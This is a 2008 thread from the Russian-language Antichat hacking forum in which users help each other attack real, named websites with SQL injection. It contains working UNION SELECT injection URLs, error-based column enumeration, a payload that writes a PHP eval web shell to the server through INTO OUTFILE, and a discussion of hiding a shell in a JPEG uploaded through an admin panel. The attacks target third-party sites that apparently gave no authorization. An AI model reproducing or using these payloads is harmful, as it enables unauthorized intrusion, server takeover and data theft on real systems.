ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
21.07.2008, 01:50
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496
Репутация:
78
|
|
Все равно вывести ничего не получается((((
|
|
|
21.07.2008, 02:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
http://storm.ikit.kg/stats/stats.php?game=D2XP&type=SC&sortBy=1+union/**/select+1/*
но т.к. стоит ORDER BY то union после него уже не работает.....
Error: Incorrect usage of UNION and ORDER BY
обойти можно токо заключив все селекты в скобки... и использовав UNION ALL. но сдесь это зделать нельзя.. так что ищи еще скули перед ордером.)
Последний раз редактировалось sabe; 21.07.2008 в 03:17..
|
|
|
|
21.07.2008, 02:45
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546
Репутация:
1327
|
|
Сообщение от sabe
но т.к. стоит ORDER BY то union после него уже не работает.....
обойти можно токо заключив все селекты в скобки... и использовав UNION ALL. но сдесь это зделать нельзя.. так что ищи еще скули перед ордером.)
Нужно обратить внимание на саму ошибку
Query: SELECT * FROM d2ladder WHERE game = 'D2XP' and type='SC' ORDER BY 10/* DESC LIMIT 0,50
Error: Unknown column '10' in 'order clause'
в переменную sortBy мы передаем значение которое подставляется в конструкцию ORDER BY. Из этого можно сделать вывод, что в таблице d2ladder 9 колонок.
А вообще иньекция интересная, есть над чем подумать...
|
|
|
|
21.07.2008, 03:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
_Pantera_
ок 9 колонок ) только как ты запрос устроишь ? )
Последний раз редактировалось sabe; 21.07.2008 в 03:17..
|
|
|
|
21.07.2008, 13:07
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Народ,а при залитии шелла через скулю можно как-то обойти ругательство на кавычки ? =______________=.
Вот: http://site.com/news.php?id=-17+union+select+1,'<?php%20eval($_GET[‘e’]);?>',3+into+outfile+'/usr/local/www/data/partners.php'--
Выдаёт: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/local/www/data/news.php on line 35
Ужс какой-то...
|
|
|
|
21.07.2008, 13:34
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
Велемир, нельзя  |
|
|
|
21.07.2008, 19:35
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
День добрый. Подскажите пожалуйста, как корректно оформить запрос к этому ресурсу:
http://www.clubiki.ru/index.php?page=item&id=24696)+union+select+(1
Заранее спсибо.
|
|
|
|
21.07.2008, 19:42
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217
Репутация:
2097
|
|
http://www.clubiki.ru/index.php?page=item&id=-24696)%20union%20select%201,2,version(),4,5,6/*
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
|
21.07.2008, 20:17
|
|
Новичок
Регистрация: 22.05.2008
Сообщений: 27
Провел на форуме:
80944
Репутация:
0
|
|
Народ чтото странно.
Хочу залить шел на форум через админку там только jpeg swf и все подобные
Мне тут сказали что в любую картинку можно вставить шел, но у меня не получается (
Вот как я это делал картинка 1.jpeg открываю в notepad++ там иероглифы в самом конце через строчку вожу точно рабочий код шела (когда в .php он работает) вот так
<?
код шела
?>
сохраняю в виде kartinka_shell_1.jpeg
И когда заливаю всё нормально, делаю на главное страницы сылку на этот рисунок, жму на неё и пустой экран (
Что я неправильно делаю?
мб кто выложит точно рабочий шел? в jpeg
|
|
|
|
21.07.2008, 20:21
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Сообщение от 2la.painkiller
Народ чтото странно.
Хочу залить шел на форум через админку там только jpeg swf и все подобные
Мне тут сказали что в любую картинку можно вставить шел, но у меня не получается (
Вот как я это делал картинка 1.jpeg открываю в notepad++ там иероглифы в самом конце через строчку вожу точно рабочий код шела (когда в .php он работает) вот так
<?
код шела
?>
сохраняю в виде kartinka_shell_1.jpeg
И когда заливаю всё нормально, делаю на главное страницы сылку на этот рисунок, жму на неё и пустой экран (
Что я неправильно делаю?
мб кто выложит точно рабочий шел? в jpeg
Омфг. Хоть в подпись себе вставляй. ПХП код исполнится только при инклуде. Или же если на сервере настроено исполнение пхп кода в имэйджах (не видел никогда такого). Без инклуда, толку от твоей картинки 0.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Комбинированный вид